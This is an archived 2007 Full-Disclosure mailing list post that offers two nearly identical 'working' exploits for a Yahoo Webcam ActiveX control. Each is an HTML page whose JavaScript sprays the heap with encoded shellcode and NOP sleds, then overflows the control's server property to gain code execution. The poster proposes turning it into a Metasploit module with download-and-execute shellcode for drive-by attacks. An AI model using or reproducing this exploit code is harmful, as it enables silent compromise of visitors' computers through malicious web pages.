

[Full-disclosure] Oday Yahoo Webcam Exploits

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2007-06/msg00154.html>

- *From:* Danny <server.exception@xxxxxxxxxx>
 - *Date:* Thu, 7 Jun 2007 16:04:52 -0700 (PDT)
-

Corrected and working:

I am very sorry! Please check again

Exploit #1

```
<html>
<object classid='clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277' id='target'></object>
<script>
shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<800; x++) memory[x] = block + shellcode;
var buffer = '\x0a';
while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a';
target.server = buffer;
target.receive();
</script>
</html>
```

Exploit #2:

[Full-disclosure] Oday Yahoo Webcam Exploits

```
<html> <object classid='clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277' id='target'></object>
<script> shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); bigblock =
unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length while
(bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block =
bigblock.substring(0,
bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array(); for (x=0; x<800; x++) memory[x] = block + shellcode; var buffer = '\x0a'; while
(buffer.length < 5000) buffer+="\x0a\x0a\x0a\x0a"; target.server = buffer; target.receive(); </script> </html>
```

This would make excellent Metasploit Module!

I do not know Ruby so i cannot make!

Download Exec Shellcode would work best for drive by exploits.

I will try to write it!!

--Excepti0n--

Don't get soaked. Take a quick peak at the forecast
with the Yahoo! Search weather shortcut.

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>